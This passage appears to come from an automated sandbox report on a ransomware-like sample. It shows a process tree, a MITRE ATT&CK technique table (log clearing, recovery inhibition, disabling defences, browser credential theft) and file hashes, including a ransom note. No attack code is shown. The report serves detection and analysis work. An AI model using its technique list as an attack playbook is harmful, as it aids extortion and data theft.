                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5976,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4796 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:3564
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=6012,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4860 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:2956
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=240,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5112 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:1376
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5520,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3560 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:2832
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4780,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5700 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:840
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=6068,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6316 /prefetch:8
                                                                                                                  2⤵
                                                                                                                    PID:1728
                                                                                                                  • C:\Users\Admin\Downloads\tor-browser-windows-x86_64-portable-14.0.7.exe
                                                                                                                    "C:\Users\Admin\Downloads\tor-browser-windows-x86_64-portable-14.0.7.exe"
                                                                                                                    2⤵
                                                                                                                    • Checks computer location settings
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Modifies registry class
                                                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                    PID:3956
                                                                                                                    • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                      "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe"
                                                                                                                      3⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Loads dropped DLL
                                                                                                                      PID:5948
                                                                                                                      • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe"
                                                                                                                        4⤵
                                                                                                                        • Checks computer location settings
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        • Checks whether UAC is enabled
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:1632
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=2548 -parentBuildID 20250303093702 -prefsHandle 2516 -prefMapHandle 2508 -prefsLen 21011 -prefMapSize 252221 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {b50040a3-caa3-4aaa-8be7-f88b7ee3fe86} 1632 gpu
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:6000
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Tor\tor.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Tor\tor.exe" -f "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc" DataDirectory "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor" ClientOnionAuthDir "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\onion-auth" --defaults-torrc "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc-defaults" GeoIPFile "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip" GeoIPv6File "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6" +__ControlPort 127.0.0.1:9151 HashedControlPassword 16:ac8710ac2008b98b603485fbf944d580a699eead9e227209923ec159b1 +__SocksPort "127.0.0.1:9150 ExtendedErrors IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth" __OwningControllerProcess 1632 DisableNetwork 1
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:5324
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=2000 -childID 1 -isForBrowser -prefsHandle 2280 -prefMapHandle 2276 -prefsLen 21821 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {ab249aa5-3d0f-4e02-b79a-03d6db32a416} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:4308
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=3132 -childID 2 -isForBrowser -prefsHandle 3124 -prefMapHandle 3088 -prefsLen 22591 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {a53dd272-9224-4d84-a7f9-e39a2c649e62} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:5216
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=3732 -childID 3 -isForBrowser -prefsHandle 3340 -prefMapHandle 3344 -prefsLen 22704 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {fe5120a9-870f-4427-9bd8-ea3781f95a41} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:4424
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=1936 -parentBuildID 20250303093702 -sandboxingKind 0 -prefsHandle 3460 -prefMapHandle 3392 -prefsLen 25298 -prefMapSize 252221 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {f0afcdca-7bdb-4192-9f80-2019f063b7ba} 1632 utility
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Checks processor information in registry
                                                                                                                          PID:5504
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=1900 -parentBuildID 20250303093702 -prefsHandle 4144 -prefMapHandle 4120 -prefsLen 25413 -prefMapSize 252221 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {d0925bd0-c4ef-4126-8634-a9efaa0d3c11} 1632 rdd
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:2072
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=2372 -childID 4 -isForBrowser -prefsHandle 4000 -prefMapHandle 4004 -prefsLen 24349 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {7b23cf23-f17d-48b8-929b-2ba4190371c6} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:6512
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=4396 -childID 5 -isForBrowser -prefsHandle 4404 -prefMapHandle 4408 -prefsLen 24349 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {00448ef5-a8d4-462c-a016-1e90cf51230d} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Checks computer location settings
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:6544
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=4592 -childID 6 -isForBrowser -prefsHandle 3376 -prefMapHandle 3268 -prefsLen 24349 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {555e5f79-3468-45cf-8d33-be30f754b938} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Checks computer location settings
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:6576
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=5252 -childID 7 -isForBrowser -prefsHandle 5244 -prefMapHandle 5240 -prefsLen 24491 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {99079ff1-650f-4094-ae88-8d328f3a9884} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:6264
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=3080 -childID 8 -isForBrowser -prefsHandle 2328 -prefMapHandle 3272 -prefsLen 24769 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {6f1e1fb1-f0d4-4054-ba40-a0370bb65f4a} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:648
                                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=2188 -childID 9 -isForBrowser -prefsHandle 1904 -prefMapHandle 2244 -prefsLen 24769 -prefMapSize 252221 -jsInitHandle 1396 -jsInitLen 234780 -parentBuildID 20250303093702 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {533b47a9-5bfd-4e22-a40b-3fe3f2effcbd} 1632 tab
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:6032
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=5500,i,10149103274116842105,12768624347989459782,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5784 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:4428
                                                                                                                  • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                    1⤵
                                                                                                                      PID:1836
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                      1⤵
                                                                                                                        PID:4516

                                                                                                                      Network

                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                      Reconnaissance

                                                                                                                      Resource Development

                                                                                                                      Initial Access

                                                                                                                      Execution

                                                                                                                      Command and Scripting Interpreter

                                                                                                                      1
                                                                                                                      T1059

                                                                                                                      PowerShell

                                                                                                                      1
                                                                                                                      T1059.001

                                                                                                                      System Services

                                                                                                                      1
                                                                                                                      T1569

                                                                                                                      Service Execution

                                                                                                                      1
                                                                                                                      T1569.002

                                                                                                                      Windows Management Instrumentation

                                                                                                                      1
                                                                                                                      T1047

                                                                                                                      Persistence

                                                                                                                      Create or Modify System Process

                                                                                                                      4
                                                                                                                      T1543

                                                                                                                      Windows Service

                                                                                                                      4
                                                                                                                      T1543.003

                                                                                                                      Privilege Escalation

                                                                                                                      Create or Modify System Process

                                                                                                                      4
                                                                                                                      T1543

                                                                                                                      Windows Service

                                                                                                                      4
                                                                                                                      T1543.003

                                                                                                                      Defense Evasion

                                                                                                                      Direct Volume Access

                                                                                                                      1
                                                                                                                      T1006

                                                                                                                      Impair Defenses

                                                                                                                      3
                                                                                                                      T1562

                                                                                                                      Disable or Modify Tools

                                                                                                                      2
                                                                                                                      T1562.001

                                                                                                                      Indicator Removal

                                                                                                                      3
                                                                                                                      T1070

                                                                                                                      Clear Windows Event Logs

                                                                                                                      1
                                                                                                                      T1070.001

                                                                                                                      File Deletion

                                                                                                                      2
                                                                                                                      T1070.004

                                                                                                                      Modify Registry

                                                                                                                      4
                                                                                                                      T1112

                                                                                                                      Credential Access

                                                                                                                      Credentials from Password Stores

                                                                                                                      1
                                                                                                                      T1555

                                                                                                                      Credentials from Web Browsers

                                                                                                                      1
                                                                                                                      T1555.003

                                                                                                                      Unsecured Credentials

                                                                                                                      1
                                                                                                                      T1552

                                                                                                                      Credentials In Files

                                                                                                                      1
                                                                                                                      T1552.001

                                                                                                                      Discovery

                                                                                                                      Browser Information Discovery

                                                                                                                      1
                                                                                                                      T1217

                                                                                                                      Peripheral Device Discovery

                                                                                                                      1
                                                                                                                      T1120

                                                                                                                      Query Registry

                                                                                                                      5
                                                                                                                      T1012

                                                                                                                      Remote System Discovery

                                                                                                                      1
                                                                                                                      T1018

                                                                                                                      System Information Discovery

                                                                                                                      6
                                                                                                                      T1082

                                                                                                                      System Network Configuration Discovery

                                                                                                                      1
                                                                                                                      T1016

                                                                                                                      Internet Connection Discovery

                                                                                                                      1
                                                                                                                      T1016.001

                                                                                                                      Lateral Movement

                                                                                                                      Collection

                                                                                                                      Data from Local System

                                                                                                                      1
                                                                                                                      T1005

                                                                                                                      Command and Control

                                                                                                                      Exfiltration

                                                                                                                      Impact

                                                                                                                      Inhibit System Recovery

                                                                                                                      3
                                                                                                                      T1490

                                                                                                                      Service Stop

                                                                                                                      1
                                                                                                                      T1489

                                                                                                                      Replay Monitor

                                                                                                                      Loading Replay Monitor...

                                                                                                                      Downloads

                                                                                                                      • C:\Program Files\Common Files\DESIGNER\etrU_HOW_TO_DECRYPT.txt
                                                                                                                        Filesize

                                                                                                                        1KB

                                                                                                                        MD5

                                                                                                                        0819f2d4d4023be7a970d21dc32f7f19

                                                                                                                        SHA1

                                                                                                                        53dc2551d2e0c22517bbc35b9150ce46fbb1cea6

                                                                                                                        SHA256

                                                                                                                        740146275a2bff1af1df4bc6bd92c056642e34a602b97296de198b159b6d69f5

                                                                                                                        SHA512

                                                                                                                        693234d6d44f15c55665ce167a8d272a3f1269de56bc9ce4c819f68ce3a75bf606bd1ef6bebd798399307715c4711baf195832ceafd7c365548eef2520831a90

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\5620fc1e-4c36-44a2-bf00-045df2e8a496.tmp
                                                                                                                        Filesize

                                                                                                                        414B

                                                                                                                        MD5

                                                                                                                        5bb574705382047caa9eefcf1bcc99dc

                                                                                                                        SHA1

                                                                                                                        6edbb131baacefbc255d2a178283faae930e3ed7

                                                                                                                        SHA256

                                                                                                                        87fd57ad0b17fe9017cce892cf5033373e2207ed38f82a2ad11114d789b58c3c

                                                                                                                        SHA512

                                                                                                                        27af401e68ada8b0509a4cae278d7ca5f99d78249a6c9942c1cb24811a44251b9f25f6332015b3dfb1f9fb00a9e82c2ea3a3387647059ca0acf7d75e1f722a6a

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                        Filesize

                                                                                                                        432B

                                                                                                                        MD5

                                                                                                                        51b51d57a3399a5ca1314f033afadac3

                                                                                                                        SHA1

                                                                                                                        18fea23fe0ac3cafe96e3951d70170901c80fb69

                                                                                                                        SHA256

                                                                                                                        d407963aef836620156525c08bf62a1530c40be7b88229379d1d10b1350cc976

                                                                                                                        SHA512

                                                                                                                        96808b4ccbf5b8b8346c6195a513b3bcf46d8775b390ffc4a16dc5e650f1a2432adbb5dba5eff61efcd3f100051bbf0a94bbd8ffb90f2f526210ec398032f8f2

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                        Filesize

                                                                                                                        3KB

                                                                                                                        MD5

                                                                                                                        0676f6fc6ce9a8bd37f9608b726108e9

                                                                                                                        SHA1

                                                                                                                        bb57ac5c35bf40dad06c53f799cec9ebdb25b740

                                                                                                                        SHA256

                                                                                                                        af38051844af2e7f597c34aa26020411da3a3bbab3732db5b15e1c5ec568fb71

                                                                                                                        SHA512

                                                                                                                        1ae38cabd2c6a2d31de623c5f8165962cb13c9483eb6bfd68c541f43ed817bfcf0a8fff72a3595dda106efb74b9b8fe0bf4eccb4665425a63a50944cd1cbd769

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                        Filesize

                                                                                                                        2B

                                                                                                                        MD5

                                                                                                                        d751713988987e9331980363e24189ce

                                                                                                                        SHA1

                                                                                                                        97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                                        SHA256

                                                                                                                        4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                                        SHA512

                                                                                                                        b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                        Filesize

                                                                                                                        10KB

                                                                                                                        MD5

                                                                                                                        6c41aea41155f6aed9316dbf675ee0b7

                                                                                                                        SHA1

                                                                                                                        126e13aebd921980bedb1b8cf70fef20d4d62a99

                                                                                                                        SHA256

                                                                                                                        005bf92a37558bfbe4d2d5a6891d59e34bef5cd2c78fc6a964f40a4c56611233

                                                                                                                        SHA512

                                                                                                                        9bbe295a941d773876a0997976d21fdd8de4532126ea9bc20bcf6c9ecca3f778bcbd91be3613c7f367bd42fe3a4b173bbaa48e73eb477bb1ace5727f7e239122

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                        Filesize

                                                                                                                        11KB

                                                                                                                        MD5

                                                                                                                        2971d86f207f513363fa940faef81b4b

                                                                                                                        SHA1

                                                                                                                        f3f0902338a0e9498930a20781c64112f8a621b0

                                                                                                                        SHA256

                                                                                                                        22096d414301bcd87181ab472c083b472b04f1d2e2a71573a3724838d9a18405

                                                                                                                        SHA512

                                                                                                                        a2d51a691e4624d3d5288f6a5ea366229d4455a79b25ad8e85db895d6625e9e958e1426ec1f79a2a5160cee25dbe3bb7bebc583236f0cb4141165d215e96964a

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                        Filesize

                                                                                                                        15KB

                                                                                                                        MD5

                                                                                                                        f754df7367882cd561491038d6ee31da

                                                                                                                        SHA1

                                                                                                                        69c35a2cf41f115240fd6f7dc7d070bd704f534b

                                                                                                                        SHA256

                                                                                                                        aca5773b099358c4c95bc579c33bf8ff17f4e2f93919047d1f7a3e0e665ef176

                                                                                                                        SHA512

                                                                                                                        24bfc1aa1d25380e39fb3c82d441642dd0df8510bb606d8774b301d2ddc5f276cfd22a104d67849c5abdcd25337055b2c638a134c72aa25397f035c22b013e56

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                        Filesize

                                                                                                                        72B

                                                                                                                        MD5

                                                                                                                        c1251e1c150c3cc11e9cbf766488f89f

                                                                                                                        SHA1

                                                                                                                        ac608576e47ec4a7b1589c84e497ea91d525731b

                                                                                                                        SHA256

                                                                                                                        1ce3147bfd65e7563b686a3a5a9e302a0caef226243ce818afdfb69f746c26cc

                                                                                                                        SHA512

                                                                                                                        8f763bf9d9d66ce85476fd4cd1b459727f1735b081872015a505927520e28ebc44d2a80d02eff221069ab963ec7d350b855196279ab8c33629aeab6e1b0b156c

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe596db4.TMP
                                                                                                                        Filesize

                                                                                                                        48B

                                                                                                                        MD5

                                                                                                                        9c17e4a5e8238c7b76246eb3670f8a38

                                                                                                                        SHA1

                                                                                                                        d6df4c0a7bc37c8385dd5727fe5ffe36f8190780

                                                                                                                        SHA256

                                                                                                                        482509dbcfb978eef64905086fcbc7267f4ca06ded2522cd0b2007d0b78d254e

                                                                                                                        SHA512

                                                                                                                        ac6724bd5a2501edc23f361a89717e30c4b0d6a0b5cbb81bc7cd2a2fa72794d8cfad3bd48f7e294889e294c62694a51a1a76ebcafff6cb61995e3568d27bb91f

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                        Filesize

                                                                                                                        156KB

                                                                                                                        MD5

                                                                                                                        5bd594062491358cdcd6a8db31c4b7a2

                                                                                                                        SHA1

                                                                                                                        e80dd8f659ffafe030f152776b15a29dab916400

                                                                                                                        SHA256

                                                                                                                        ed79eaccc8391b881f428fbcab1fbb3cc875dff8085bb5aac8c484c189dc1133

                                                                                                                        SHA512

                                                                                                                        ef38e8dafbb49a9d3b512b9878c646aa0e90d9233d63e192661ca6ed59022d4f47056a68228b27f18fbbc4b08f5c6d7aaa3d9ca6355a19d061936919169d484d

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                        Filesize

                                                                                                                        80KB

                                                                                                                        MD5

                                                                                                                        e721e53f5e125c1c13f8958a92751215

                                                                                                                        SHA1

                                                                                                                        343a2d150289c4677d12388097ddd75f4602f0c0

                                                                                                                        SHA256

                                                                                                                        76a528ace188f3bc753d15bc602410ee37a6fcbc40a258e73b0dbaecdc9ce531

                                                                                                                        SHA512

                                                                                                                        a637cf1b9e0f34ffbaba46e5bfa2f94880c0a93ecabc9381574fff27eb04d9c1a38088a4c7923691c7b475a67bd6d5f71055d9d0d89f16a08f6d7a0ac23cd781

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                        Filesize

                                                                                                                        156KB

                                                                                                                        MD5

                                                                                                                        957443371da70e2f852e92d6e87e80e5

                                                                                                                        SHA1

                                                                                                                        c1e79bbb203e586c638d637caad6aee4610a7057

                                                                                                                        SHA256

                                                                                                                        ec3ba545f6cd8ab8c19412b850fb22159fee9ab90455c0e2bff48807d53804c4

                                                                                                                        SHA512

                                                                                                                        382bf804642da8af26381ea6bdeb7c51b8c438b26ae782836739b27b52bc5d7d137bacfb768a3a59473b40fb484aeb36fadb697c2c13c8dd99f2d971e07050d1

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                        SHA1

                                                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                        SHA256

                                                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                        SHA512

                                                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                        Filesize

                                                                                                                        944B

                                                                                                                        MD5

                                                                                                                        c81ca666e67245b726b98f2a89cffb59

                                                                                                                        SHA1

                                                                                                                        1a0e64d1598cc06046a8cc8ca7bdd81ec9d10dea

                                                                                                                        SHA256

                                                                                                                        7a0053c526f90fe433ec6b754255cc75ee1a84714663c076530cdae3b8068cd4

                                                                                                                        SHA512

                                                                                                                        b0c4ad98b341cf7bcb615ab100781e23e5e0a2c822e8b2735e82340870b833401d260f30a4b889f725825520bdcab381fd64b729671c60f81f0094a5fcb186ce

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yusc1pz4.duq.ps1
                                                                                                                        Filesize

                                                                                                                        60B

                                                                                                                        MD5

                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                        SHA1

                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                        SHA256

                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                        SHA512

                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nsx94F5.tmp\LangDLL.dll
                                                                                                                        Filesize

                                                                                                                        7KB

                                                                                                                        MD5

                                                                                                                        9888fb6b91a680305b2a3e7b71d6561d

                                                                                                                        SHA1

                                                                                                                        4a7935da38f88e9f74f425078ee39eb6269c4e63

                                                                                                                        SHA256

                                                                                                                        81726604d47b192620bcf90d6e42ba8ee8b4c54935b0081655e08247d6b6c675

                                                                                                                        SHA512

                                                                                                                        f50755e5624bfc3a60a23a7dda012509c1e31d9772d6a0ccaca88e32ae8d4602e10e38003d78b1626464502db7ea7c47d772efb7b3ea7c3e2238bf3b9809f833

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nsx94F5.tmp\System.dll
                                                                                                                        Filesize

                                                                                                                        24KB

                                                                                                                        MD5

                                                                                                                        d997606c77e880be2744c44128843d60

                                                                                                                        SHA1

                                                                                                                        92bb9003dc14ae03963f503e82a668877ca4295f

                                                                                                                        SHA256

                                                                                                                        abb2613ff851b2cbfb61bf97e4eef9d4912abcb46e04774ad84812ab75d4dde9

                                                                                                                        SHA512

